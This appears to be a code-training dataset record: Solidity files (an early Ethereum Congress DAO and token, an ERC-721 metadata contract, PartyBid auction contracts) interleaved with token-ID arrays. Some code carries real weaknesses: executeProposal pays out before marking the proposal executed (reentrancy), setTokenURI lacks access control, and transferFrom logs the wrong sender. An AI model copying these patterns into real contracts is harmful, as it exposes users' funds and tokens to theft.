0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3570,
8016,
858,
1345,
12,
694,
2502,
272,
16,
2254,
1147,
548,
13,
1071,
1135,
261,
14592,
3778,
15329,
203,
3639,
327,
3570,
8016,
861,
12,
87,
16,
1147,
548,
300,
404,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
/* The token is used as a voting shares */
contract token {
function mintToken(address target, uint256 mintedAmount);
}
contract Congress is owned {
/* Contract Variables and events */
uint public minimumQuorum;
uint public debatingPeriodInMinutes;
int public majorityMargin;
Proposal[] public proposals;
uint public numProposals;
mapping(address => uint) public memberId;
Member[] public members;
address public unicornAddress;
uint public priceOfAUnicornInFinney;
event ProposalAdded(uint proposalID, address recipient, uint amount, string description);
event Voted(uint proposalID, bool position, address voter, string justification);
event ProposalTallied(uint proposalID, int result, uint quorum, bool active);
event MembershipChanged(address member);
event ChangeOfRules(uint minimumQuorum, uint debatingPeriodInMinutes, int majorityMargin);
struct Proposal {
address recipient;
uint amount;
string description;
uint votingDeadline;
bool executed;
bool proposalPassed;
uint numberOfVotes;
int currentResult;
bytes32 proposalHash;
Vote[] votes;
mapping(address => bool) voted;
}
struct Member {
address member;
uint voteWeight;
bool canAddProposals;
string name;
uint memberSince;
}
struct Vote {
bool inSupport;
address voter;
string justification;
}
/* First time setup */
function Congress(uint minimumQuorumForProposals, uint minutesForDebate, int marginOfVotesForMajority, address congressLeader) {
minimumQuorum = minimumQuorumForProposals;
debatingPeriodInMinutes = minutesForDebate;
majorityMargin = marginOfVotesForMajority;
members.length++;
members[0] = Member({
member: 0,
voteWeight: 0,
canAddProposals: false,
memberSince: now,
name: ''
});
if (congressLeader != 0) owner = congressLeader;
}
/*make member*/
function changeMembership(address targetMember, uint voteWeight, bool canAddProposals, string memberName) onlyOwner {
uint id;
if (memberId[targetMember] == 0) {
memberId[targetMember] = members.length;
id = members.length++;
members[id] = Member({
member: targetMember,
voteWeight: voteWeight,
canAddProposals: canAddProposals,
memberSince: now,
name: memberName
});
} else {
id = memberId[targetMember];
Member m = members[id];
m.voteWeight = voteWeight;
m.canAddProposals = canAddProposals;
m.name = memberName;
}
MembershipChanged(targetMember);
}
/*change rules*/
function changeVotingRules(uint minimumQuorumForProposals, uint minutesForDebate, int marginOfVotesForMajority) onlyOwner {
minimumQuorum = minimumQuorumForProposals;
debatingPeriodInMinutes = minutesForDebate;
majorityMargin = marginOfVotesForMajority;
ChangeOfRules(minimumQuorum, debatingPeriodInMinutes, majorityMargin);
}
// ribbonPriceInEther
function changeUnicorn(uint newUnicornPriceInFinney, address newUnicornAddress) onlyOwner {
unicornAddress = newUnicornAddress;
priceOfAUnicornInFinney = newUnicornPriceInFinney;
}
/* Function to create a new proposal */
function newProposalInWei(address beneficiary, uint weiAmount, string JobDescription, bytes transactionBytecode) returns(uint proposalID) {
if (memberId[msg.sender] == 0 || !members[memberId[msg.sender]].canAddProposals) throw;
proposalID = proposals.length++;
Proposal p = proposals[proposalID];
p.recipient = beneficiary;
p.amount = weiAmount;
p.description = JobDescription;
p.proposalHash = sha3(beneficiary, weiAmount, transactionBytecode);
p.votingDeadline = now + debatingPeriodInMinutes * 1 minutes;
p.executed = false;
p.proposalPassed = false;
p.numberOfVotes = 0;
ProposalAdded(proposalID, beneficiary, weiAmount, JobDescription);
numProposals = proposalID + 1;
}
/* Function to create a new proposal */
function newProposalInEther(address beneficiary, uint etherAmount, string JobDescription, bytes transactionBytecode) returns(uint proposalID) {
if (memberId[msg.sender] == 0 || !members[memberId[msg.sender]].canAddProposals) throw;
proposalID = proposals.length++;
Proposal p = proposals[proposalID];
p.recipient = beneficiary;
p.amount = etherAmount * 1 ether;
p.description = JobDescription;
p.proposalHash = sha3(beneficiary, etherAmount * 1 ether, transactionBytecode);
p.votingDeadline = now + debatingPeriodInMinutes * 1 minutes;
p.executed = false;
p.proposalPassed = false;
p.numberOfVotes = 0;
ProposalAdded(proposalID, beneficiary, etherAmount, JobDescription);
numProposals = proposalID + 1;
}
/* function to check if a proposal code matches */
function checkProposalCode(uint proposalNumber, address beneficiary, uint amount, bytes transactionBytecode) constant returns(bool codeChecksOut) {
Proposal p = proposals[proposalNumber];
return p.proposalHash == sha3(beneficiary, amount, transactionBytecode);
}
function vote(uint proposalNumber, bool supportsProposal, string justificationText) returns(uint voteID) {
if (memberId[msg.sender] == 0) throw;
uint voteWeight = members[memberId[msg.sender]].voteWeight;
Proposal p = proposals[proposalNumber]; // Get the proposal
if (p.voted[msg.sender] == true) throw; // If has already voted, cancel
p.voted[msg.sender] = true; // Set this voter as having voted
p.numberOfVotes += voteWeight; // Increase the number of votes
if (supportsProposal) { // If they support the proposal
p.currentResult += int(voteWeight); // Increase score
} else { // If they don't
p.currentResult -= int(voteWeight); // Decrease the score
}
// Create a log of this event
Voted(proposalNumber, supportsProposal, msg.sender, justificationText);
}
function executeProposal(uint proposalNumber, bytes transactionBytecode) returns(int result) {
Proposal p = proposals[proposalNumber];
/* Check if the proposal can be executed */
if (now < p.votingDeadline // has the voting deadline arrived?
|| p.executed // has it been already executed?
|| p.proposalHash != sha3(p.recipient, p.amount, transactionBytecode) // Does the transaction code match the proposal?
|| p.numberOfVotes < minimumQuorum) // has minimum quorum?
throw;
/* execute result */
if (p.currentResult > majorityMargin) {
/* If difference between support and opposition is larger than margin */
p.recipient.call.value(p.amount)(transactionBytecode);
p.executed = true;
p.proposalPassed = true;
} else {
p.executed = true;
p.proposalPassed = false;
}
// Fire Events
ProposalTallied(proposalNumber, p.currentResult, p.numberOfVotes, p.proposalPassed);
}
function() {
if (msg.value > priceOfAUnicornInFinney) {
token unicorn = token(unicornAddress);
unicorn.mintToken(msg.sender, msg.value / (priceOfAUnicornInFinney * 1 finney));
}
}
}
contract MyToken is owned {
/* Public variables of the token */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
/* This creates an array with all balances */
mapping(address => uint256) public balanceOf;
mapping(address => bool) public frozenAccount;
mapping(address => mapping(address => uint)) public allowance;
mapping(address => mapping(address => uint)) public spentAllowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyToken(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol, address centralMinter) {
if (centralMinter != 0) owner = centralMinter; // Sets the minter
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
decimals = decimalUnits; // Amount of decimals for display purposes
totalSupply = initialSupply;
}
/* Send coins */
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (frozenAccount[msg.sender]) throw; // Check if frozen
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(owner, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool success) {
if (balanceOf[_from] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (frozenAccount[_from]) throw; // Check if frozen
if (spentAllowance[_from][msg.sender] + _value > allowance[_from][msg.sender]) throw; // Check allowance
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
spentAllowance[_from][msg.sender] += _value;
Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) returns(bool success) {
allowance[msg.sender][_spender] = _value;
}
function() {
//owner.send(msg.value);
throw;
}
}
| owner.send(msg.value); | function() {
throw;
}
| 1,022,233 | [
1,
8443,
18,
4661,
12,
3576,
18,
1132,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
445,
1435,
288,
203,
7734,
604,
31,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.5.6;
import "./ERC721Base.sol";
import "./interfaces/ERC721Metadata.sol";
/**
* @title ERC-721 Non-Fungible Token with metadata extension logic.
* @dev See https://eips.ethereum.org/EIPS/eip-721.
*/
contract ERC721BaseMetadata is ERC721Base, ERC721Metadata {
/**
* Token name.
*/
string private _name;
/**
* Token symbol.
*/
string private _symbol;
/**
* Mapping of token URIs.
*/
mapping(uint256 => string) private _tokenURI;
bytes4 public constant _INTERFACE_ID_ERC_721_METADATA =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('tokenURI(uint256)'));
/**
* @dev The ERC721Metadata constructor registers the implementation of ERC721Metadata interface.
*/
constructor
(
string memory name,
string memory symbol
)
public
{
_name = name;
_symbol = symbol;
_registerInterface(_INTERFACE_ID_ERC_721_METADATA);
}
/**
* @return string Returns the representing token name.
*/
function name()
external
view
returns (string memory)
{
return _name;
}
/**
* @return string Returns the representing token symbol.
*/
function symbol()
external
view
returns (string memory)
{
return _symbol;
}
/**
* @dev Returns the URI for a given token ID. Throws if the token ID does
* not exist. May return an empty string.
* @param tokenID uint256 ID of the token to query.
*/
function tokenURI
(
uint256 tokenID
)
external
view
returns (string memory)
{
require(_tokenExists(tokenID), "Token does not exist.");
return _tokenURI[tokenID];
}
/**
* @dev External function to set a token URI. Can be called once per tokenID.
*/
function setTokenURI
(
uint256 tokenID,
string calldata uri
)
external
{
_setTokenURI(tokenID, uri);
}
/**
* @dev Internal function to remove a token from the owner's account. Override parent implementation.
* @notice Does not emit any transfer event. Does not check token permissions.
*/
function _removeToken
(
uint256 tokenID
)
internal
{
super._removeToken(tokenID);
_deleteTokenURI(tokenID);
}
/**
* @dev Internal function to set the token URI for a given token.
* Throws if: given uri is empty, or the token ID does not exist, or
* the uri for given token is already set.
* @param tokenID uint256 ID of the token for which the URI is set.
* @param uri string URI to assign.
*/
function _setTokenURI
(
uint256 tokenID,
string memory uri
)
internal
{
require(bytes(uri).length != 0, "Supplied URI cannot be empty.");
require(_tokenExists(tokenID), "Token does not exist.");
require(bytes(_tokenURI[tokenID]).length == 0, "Token URI already set.");
_tokenURI[tokenID] = uri;
}
/**
* @dev Internal function to delete the token URI (if the uri exists) for a given token.
* @param tokenID uint256 ID of the token for which the URI is set.
* @param uri string URI to assign.
*/
function _deleteTokenURI
(
uint tokenID
)
internal
{
if (bytes(_tokenURI[tokenID]).length != 0)
{
delete _tokenURI[tokenID];
}
}
} | * @return string Returns the representing token name./ | function name()
external
view
returns (string memory)
{
return _name;
}
| 5,355,926 | [
1,
2463,
533,
2860,
326,
5123,
1147,
508,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
508,
1435,
203,
225,
3903,
203,
225,
1476,
203,
225,
1135,
261,
1080,
3778,
13,
203,
225,
288,
203,
565,
327,
389,
529,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
import {InitializedProxy} from "./InitializedProxy.sol";
import {PartyBid} from "./PartyBid.sol";
import {Structs} from "./Structs.sol";
/**
* @title PartyBid Factory
* @author Anna Carroll
*
* WARNING: A malicious MarketWrapper contract could be used to steal user funds;
* A poorly implemented MarketWrapper contract could permanently lose access to the NFT.
* When deploying a PartyBid, exercise extreme caution.
* Only use MarketWrapper contracts that have been audited and tested.
*/
contract PartyBidFactory {
//======== Events ========
event PartyBidDeployed(
address partyBidProxy,
address creator,
address nftContract,
uint256 tokenId,
address marketWrapper,
uint256 auctionId,
address splitRecipient,
uint256 splitBasisPoints,
address gatedToken,
uint256 gatedTokenAmount,
string name,
string symbol
);
//======== Immutable storage =========
address public immutable logic;
address public immutable partyDAOMultisig;
address public immutable tokenVaultFactory;
address public immutable weth;
//======== Mutable storage =========
// PartyBid proxy => block number deployed at
mapping(address => uint256) public deployedAt;
//======== Constructor =========
constructor(
address _partyDAOMultisig,
address _tokenVaultFactory,
address _weth
) {
partyDAOMultisig = _partyDAOMultisig;
tokenVaultFactory = _tokenVaultFactory;
weth = _weth;
// deploy logic contract
PartyBid _logicContract = new PartyBid(_partyDAOMultisig, _tokenVaultFactory, _weth);
// store logic contract address
logic = address(_logicContract);
}
//======== Deploy function =========
function startParty(
address _marketWrapper,
address _nftContract,
uint256 _tokenId,
uint256 _auctionId,
Structs.AddressAndAmount calldata _split,
Structs.AddressAndAmount calldata _tokenGate,
string memory _name,
string memory _symbol
) external returns (address partyBidProxy) {
bytes memory _initializationCalldata =
abi.encodeWithSelector(
PartyBid.initialize.selector,
_marketWrapper,
_nftContract,
_tokenId,
_auctionId,
_split,
_tokenGate,
_name,
_symbol
);
partyBidProxy = address(
new InitializedProxy(
logic,
_initializationCalldata
)
);
deployedAt[partyBidProxy] = block.number;
emit PartyBidDeployed(
partyBidProxy,
msg.sender,
_nftContract,
_tokenId,
_marketWrapper,
_auctionId,
_split.addr,
_split.amount,
_tokenGate.addr,
_tokenGate.amount,
_name,
_symbol
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
/**
* @title InitializedProxy
* @author Anna Carroll
*/
contract InitializedProxy {
// address of logic contract
address public immutable logic;
// ======== Constructor =========
constructor(
address _logic,
bytes memory _initializationCalldata
) {
logic = _logic;
// Delegatecall into the logic contract, supplying initialization calldata
(bool _ok, bytes memory returnData) =
_logic.delegatecall(_initializationCalldata);
// Revert if delegatecall to implementation reverts
require(_ok, string(returnData));
}
// ======== Fallback =========
fallback() external payable {
address _impl = logic;
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
// ======== Receive =========
receive() external payable {} // solhint-disable-line no-empty-blocks
}
/*
___ ___ ___ ___ ___ ___ ___
/\ \ /\ \ /\ \ /\ \ |\__\ /\ \ ___ /\ \
/::\ \ /::\ \ /::\ \ \:\ \ |:| | /::\ \ /\ \ /::\ \
/:/\:\ \ /:/\:\ \ /:/\:\ \ \:\ \ |:| | /:/\:\ \ \:\ \ /:/\:\ \
/::\~\:\ \ /::\~\:\ \ /::\~\:\ \ /::\ \ |:|__|__ /::\~\:\__\ /::\__\ /:/ \:\__\
/:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:\ \:\__\ /:/\:\__\ /::::\__\ /:/\:\ \:|__| __/:/\/__/ /:/__/ \:|__|
\/__\:\/:/ / \/__\:\/:/ / \/_|::\/:/ / /:/ \/__/ /:/~~/~ \:\~\:\/:/ / /\/:/ / \:\ \ /:/ /
\::/ / \::/ / |:|::/ / /:/ / /:/ / \:\ \::/ / \::/__/ \:\ /:/ /
\/__/ /:/ / |:|\/__/ \/__/ \/__/ \:\/:/ / \:\__\ \:\/:/ /
/:/ / |:| | \::/__/ \/__/ \::/__/
\/__/ \|__| ~~ ~~
Anna Carroll for PartyDAO
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
// ============ Internal Imports ============
import {Party} from "./Party.sol";
import {IMarketWrapper} from "./market-wrapper/IMarketWrapper.sol";
import {Structs} from "./Structs.sol";
contract PartyBid is Party {
// partyStatus Transitions:
// (1) PartyStatus.ACTIVE on deploy
// (2) PartyStatus.WON or PartyStatus.LOST on finalize()
// ============ Internal Constants ============
// PartyBid version 3
uint16 public constant VERSION = 3;
// ============ Public Not-Mutated Storage ============
// market wrapper contract exposing interface for
// market auctioning the NFT
IMarketWrapper public marketWrapper;
// ID of auction within market contract
uint256 public auctionId;
// ============ Public Mutable Storage ============
// the highest bid submitted by PartyBid
uint256 public highestBid;
// ============ Events ============
event Bid(uint256 amount);
event Finalized(PartyStatus result, uint256 totalSpent, uint256 fee, uint256 totalContributed);
// ======== Constructor =========
constructor(
address _partyDAOMultisig,
address _tokenVaultFactory,
address _weth
) Party(_partyDAOMultisig, _tokenVaultFactory, _weth) {}
// ======== Initializer =========
function initialize(
address _marketWrapper,
address _nftContract,
uint256 _tokenId,
uint256 _auctionId,
Structs.AddressAndAmount calldata _split,
Structs.AddressAndAmount calldata _tokenGate,
string memory _name,
string memory _symbol
) external initializer {
// validate auction exists
require(
IMarketWrapper(_marketWrapper).auctionIdMatchesToken(
_auctionId,
_nftContract,
_tokenId
),
"PartyBid::initialize: auctionId doesn't match token"
);
// initialize & validate shared Party variables
__Party_init(_nftContract, _tokenId, _split, _tokenGate, _name, _symbol);
// set PartyBid-specific state variables
marketWrapper = IMarketWrapper(_marketWrapper);
auctionId = _auctionId;
}
// ======== External: Contribute =========
/**
* @notice Contribute to the Party's treasury
* while the Party is still active
* @dev Emits a Contributed event upon success; callable by anyone
*/
function contribute() external payable nonReentrant {
_contribute();
}
// ======== External: Bid =========
/**
* @notice Submit a bid to the Market
* @dev Reverts if insufficient funds to place the bid and pay PartyDAO fees,
* or if any external auction checks fail (including if PartyBid is current high bidder)
* Emits a Bid event upon success.
* Callable by any contributor
*/
function bid() external nonReentrant {
require(
partyStatus == PartyStatus.ACTIVE,
"PartyBid::bid: auction not active"
);
require(
totalContributed[msg.sender] > 0,
"PartyBid::bid: only contributors can bid"
);
require(
address(this) !=
marketWrapper.getCurrentHighestBidder(
auctionId
),
"PartyBid::bid: already highest bidder"
);
require(
!marketWrapper.isFinalized(auctionId),
"PartyBid::bid: auction already finalized"
);
// get the minimum next bid for the auction
uint256 _bid = marketWrapper.getMinimumBid(auctionId);
// ensure there is enough ETH to place the bid including PartyDAO fee
require(
_bid <= getMaximumBid(),
"PartyBid::bid: insufficient funds to bid"
);
// submit bid to Auction contract using delegatecall
(bool success, bytes memory returnData) =
address(marketWrapper).delegatecall(
abi.encodeWithSignature("bid(uint256,uint256)", auctionId, _bid)
);
require(
success,
string(
abi.encodePacked(
"PartyBid::bid: place bid failed: ",
returnData
)
)
);
// update highest bid submitted & emit success event
highestBid = _bid;
emit Bid(_bid);
}
// ======== External: Finalize =========
/**
* @notice Finalize the state of the auction
* @dev Emits a Finalized event upon success; callable by anyone
*/
function finalize() external nonReentrant {
require(
partyStatus == PartyStatus.ACTIVE,
"PartyBid::finalize: auction not active"
);
// finalize auction if it hasn't already been done
if (!marketWrapper.isFinalized(auctionId)) {
marketWrapper.finalize(auctionId);
}
// after the auction has been finalized,
// if the NFT is owned by the PartyBid, then the PartyBid won the auction
address _owner = _getOwner();
partyStatus = _owner == address(this) ? PartyStatus.WON : PartyStatus.LOST;
uint256 _ethFee;
// if the auction was won,
if (partyStatus == PartyStatus.WON) {
// record totalSpent,
// send ETH fees to PartyDAO,
// fractionalize the Token
// send Token fees to PartyDAO & split proceeds to split recipient
_ethFee = _closeSuccessfulParty(highestBid);
}
// set the contract status & emit result
emit Finalized(partyStatus, totalSpent, _ethFee, totalContributedToParty);
}
// ======== Public: Utility Calculations =========
/**
* @notice The maximum bid that can be submitted
* while paying the ETH fee to PartyDAO
* @return _maxBid the maximum bid
*/
function getMaximumBid() public view returns (uint256 _maxBid) {
_maxBid = getMaximumSpend();
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
interface Structs {
struct AddressAndAmount {
address addr;
uint256 amount;
}
}
/*
__/\\\\\\\\\\\\\_____________________________________________________________/\\\\\\\\\\\\________/\\\\\\\\\__________/\\\\\______
_\/\\\/////////\\\__________________________________________________________\/\\\////////\\\____/\\\\\\\\\\\\\______/\\\///\\\____
_\/\\\_______\/\\\__________________________________/\\\_________/\\\__/\\\_\/\\\______\//\\\__/\\\/////////\\\___/\\\/__\///\\\__
_\/\\\\\\\\\\\\\/___/\\\\\\\\\_____/\\/\\\\\\\___/\\\\\\\\\\\___\//\\\/\\\__\/\\\_______\/\\\_\/\\\_______\/\\\__/\\\______\//\\\_
_\/\\\/////////____\////////\\\___\/\\\/////\\\_\////\\\////_____\//\\\\\___\/\\\_______\/\\\_\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_
_\/\\\_______________/\\\\\\\\\\__\/\\\___\///_____\/\\\__________\//\\\____\/\\\_______\/\\\_\/\\\/////////\\\_\//\\\______/\\\__
_\/\\\______________/\\\/////\\\__\/\\\____________\/\\\_/\\___/\\_/\\\_____\/\\\_______/\\\__\/\\\_______\/\\\__\///\\\__/\\\____
